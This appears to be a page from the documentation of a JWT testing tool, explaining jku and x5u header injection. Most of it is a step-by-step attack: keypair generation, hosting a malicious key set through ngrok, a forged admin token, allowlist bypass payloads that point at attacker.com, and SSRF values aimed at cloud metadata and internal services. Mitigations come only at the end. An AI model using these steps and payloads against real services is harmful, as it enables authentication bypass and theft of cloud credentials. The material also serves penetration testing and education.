JKU Injection

Point jku at an attacker-controlled JWKS endpoint. The server fetches and trusts it for verification.

The JWK Set URL

RFC 7515 §4.1.2 defines the jku (JWK Set URL) header parameter as a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to sign the JWT. The server fetches this URL to retrieve the public key for verification - a server-side request triggered by a value in the attacker-controlled token header.

The attack is conceptually simple: point jku at an attacker-controlled endpoint that returns a JWKS containing the attacker's public key. The server fetches the JWKS, finds the attacker's key, and uses it to verify the forged token - which was signed by the corresponding private key. Verification succeeds.

The JWKS format

jwks.json - attacker's JWKS endpoint
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "attacker-2024",
      "n": "sdfG7kPqoK8zRx4s...",     // attacker's public modulus (base64url, no padding)
      "e": "AQAB"                     // 65537 in base64url
    }
  ]
}

JWT Arsenal generates this file automatically after keypair generation. Host it at any publicly accessible HTTPS URL, then set jkuto that URL in the forged token's header.

Full attack walkthrough

Step-by-step attack
# Step 1: Generate an RSA-2048 keypair (JWT Arsenal or openssl)
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub

# Step 2: Build the JWKS file (use JWT Arsenal's JKU page - downloads it)
# Or convert manually: n and e are the base64url-encoded modulus and exponent

# Step 3: Host the JWKS
python3 -m http.server 8080 &
# Expose with ngrok for a public URL:
ngrok http 8080
# → https://abc123.ngrok-free.app

# Step 4: Forge the JWT
# Header: {"alg":"RS256","jku":"https://abc123.ngrok-free.app/jwks.json","kid":"attacker-2024"}
# Payload: {"sub":"admin","role":"superuser","exp":9999999999}
# Sign with attacker.key

# Step 5: Send the forged token - server fetches your JWKS, verifies your signature → bypass

Domain bypass techniques

Many implementations attempt to restrict valid jku domains. A common but ineffective pattern is checking whether the URL starts withor contains a trusted domain string. Attackers have a catalogue of bypasses:

1. Open redirect

Trusted domain with open redirect
# Server checks: jku.startsWith("https://trusted.example.com")
# Target has an open redirect at /redirect?url=...

jku = "https://trusted.example.com/redirect?url=https://attacker.com/jwks.json"
# → startsWith check passes
# → server follows redirect to attacker.com
# → fetches attacker JWKS

2. URL @ confusion

Credential confusion (RFC 3986)
# RFC 3986 allows credentials before @ in a URL:
# https://user:password@host/path
# Some parsers read "trusted.com" as the username, "attacker.com" as the host

jku = "https://trusted.example.com@attacker.com/jwks.json"
# → string contains "trusted.example.com" → allowlist check passes
# → browser/http client resolves host as "attacker.com"

3. URL fragment / query tricks

Fragment and query confusion
# Fragment (#) is ignored by the server but may fool the string check:
jku = "https://attacker.com/jwks.json#trusted.example.com"

# Query parameter confusion:
jku = "https://attacker.com/jwks.json?host=trusted.example.com"

4. Subdomain takeover

If the server validates that the jku host ends with .trusted.example.com, a taken-over subdomain (expired-cname.trusted.example.com) passes validation. Subdomain takeovers on cloud providers (Azure, AWS, GitHub Pages) are regularly discovered via tools like subjack and nuclei.

5. SSRF pivot

The server-side HTTP request to fetch the JWKS can be redirected to internal network resources:

SSRF via jku
# AWS IMDS (IMDSv1 - no session token required)
jku = "http://169.254.169.254/latest/meta-data/"

# GCP metadata server
jku = "http://metadata.google.internal/computeMetadata/v1/"

# Internal Kubernetes API server
jku = "https://kubernetes.default.svc/api/v1/"

# Internal Redis (non-HTTP response → parse error, but confirms SSRF)
jku = "http://internal-redis:6379/"
Server-side request requirements
This attack requires the vulnerable server to make outbound HTTP requests. Environments with strict egress filtering (no internet from the server) are not directly vulnerable to the basic variant - but SSRF to internal hosts may still work. AWS Lambda and similar serverless environments often have unrestricted egress.

Hosting options for the JWKS

  • ngrok / Cloudflare Tunnel - expose localhost in seconds; HTTPS included
  • GitHub Gist (raw) - static HTTPS hosting, no server required; click "Raw" for a direct URL without redirects
  • Pastebin raw - similar to Gist; check that the raw URL doesn't use JS-rendered content
  • requestbin / webhook.site - logs the incoming request, useful to confirm SSRF/fetch happens
  • Burp Collaborator - confirms server-side DNS/HTTP requests for out-of-band validation
Where to look
  • OAuth 2.0 and OIDC libraries that support dynamic key discovery - check if jku is accepted and fetched without a domain allowlist
  • Identity providers that validate the domain but not the full path - an open redirect on the trusted domain can be enough to bypass the check
  • Any server-side jku fetch is also an SSRF vector: AWS IMDS (169.254.169.254), internal APIs, and metadata endpoints are common pivot targets
  • B2B SaaS with per-tenant key endpoints - tenant isolation logic often introduces jku fetches without strict origin validation

x5u - the X.509 certificate variant

RFC 7515 §4.1.5 defines x5u (X.509 URL) as the certificate equivalent of jku. Instead of pointing to a JWKS JSON file, it points to a URL serving an X.509 certificate chain in PEM format. The server fetches the certificates, extracts the public key from the first one, and uses it for verification. The attack is mechanically identical - only the hosted file format changes.

x5u attack - host a PEM cert instead of JWKS
# Step 1: Generate keypair and self-signed certificate
openssl genrsa -out attacker.key 2048
openssl req -new -x509 -key attacker.key -out attacker.crt -days 365 \
  -subj "/CN=attacker"

# Step 2: Host the certificate (PEM format)
python3 -m http.server 8080 &
ngrok http 8080
# → https://abc123.ngrok-free.app/attacker.crt

# Step 3: Forge the JWT
# Header: {"alg":"RS256","x5u":"https://abc123.ngrok-free.app/attacker.crt"}
# Sign with attacker.key - server fetches cert, extracts public key, verifies → bypass

All the domain bypass techniques that apply to jku (open redirects, @ confusion, fragment tricks, subdomain takeover) apply equally to x5u. The SSRF vector is also present: the server makes an outbound HTTP request to whatever URL the attacker specifies.

Mitigations

  • Maintain a server-side allowlist of trusted JWKS URLs - pre-configured, not derived from the token
  • Perform exact URL matching, not prefix/contains matching
  • Disable following of HTTP redirects when fetching JWKS
  • Reject tokens containing jku or x5u headers unless explicitly required
  • If jku is required, pin the expected URL in configuration and reject any other value
  • Cache JWKS responses server-side with appropriate TTL - prevents real-time SSRF probing
GitHub